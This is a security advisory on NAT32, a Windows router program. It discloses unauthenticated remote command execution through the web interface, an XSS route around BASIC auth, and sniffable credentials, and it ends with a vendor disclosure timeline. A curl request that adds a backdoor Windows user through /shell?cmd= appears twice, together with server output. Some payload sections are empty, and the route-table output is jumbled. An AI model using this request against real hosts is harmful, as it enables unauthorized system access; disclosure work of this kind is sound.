[+] Credits: hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  
[+] ISR: Apparition Security

[-_-] D1rty0tis


NAT32 Build (22284)

NAT32 is a versatile IP Router implemented as a WIN32 application.

Vulnerability Type:
Remote Command Execution 

CVE Reference:

Security Issue:
NAT32 listens on Port 8080 for its Web interface.

C:\>netstat -ano | findstr 8080
  TCP               LISTENING       3720

If the 'Password Checking' (BASIC authentication) feature is NOT enabled (user 
must select it under config tab) then remote attackers who can reach
NAT32 can potentially execute arbitrary commands, if authentication is enabled 
they will get 'Unauthorized' server reply, however, read on ...


Add user account.

C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add";
<!DOCTYPE html>
<body><pre>run start net user D1rty0Tis abc123 /add Done

If NAT32 'Password Checking' feature IS enabled, remote attackers can STILL 
potentially issue arbitrary commands exploiting a
Cross Site Scripting vulnerability in the HTTPD code of NAT32, if authenticated 
NAT32 users click a malicious link
or visit an attacker controlled webpage. 

Also worth mentioning, NAT32 implements BASIC authentication which pass BASE64 
Encoded credentials which can be easily
revealed if sniffed on network.

When 'Password Checking' is enabled attackers using Ajax calls via XSS would 
need to use a combination of '%0D%0A' and double encoding
to deal with 'white-space' in order for the payload to stay intact.

%25 for '%' sign then 20 (%2520) = %20, using %20 or %2B will not cut it, 
however '%0D%0A' (CRLF) and '%2520' encoding serves us well.

NAT32 has an interesting Command 'EXECR' that can allow attackers to capture 
Command output response from the server to see right away if an
attack was success or not.


Add account and get response (EXECR)

HTTP Response:
<!DOCTYPE html>
<body><pre>The command completed successfully.

execr net user D1rty0Tis abc123 /add Done

The NAT32 'winroute' Command will return host route information.

XSS response


<!DOCTYPE html>
<body><pre>Destination    Mask              Nexthop      Metric IfIndex Type 
Proto Age        10       b    4     3 21:41 
[min:sec]          306      1    3     3 22:04 
[min:sec]          306      1    3     3 22:04 
[min:sec]          306      1    3     3 22:04 

NET32 Password Checking not enabled...

C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add";

NAT32 BASIC authentication enabled use XSS...

Add backdoor account and capture CMD output using NAT32 'execr' shell command.

Get Windows Routes (info disclosure):

Network Access:


Disclosure Timeline:
Vendor Notification: February 9, 2018
Vendor acknowledgement: February 9, 2018
Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : 
February 12, 2018
www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily 
unavailable." : February 13, 2018
February 14, 2018 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no 
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided 
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in 
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the 
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author 
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


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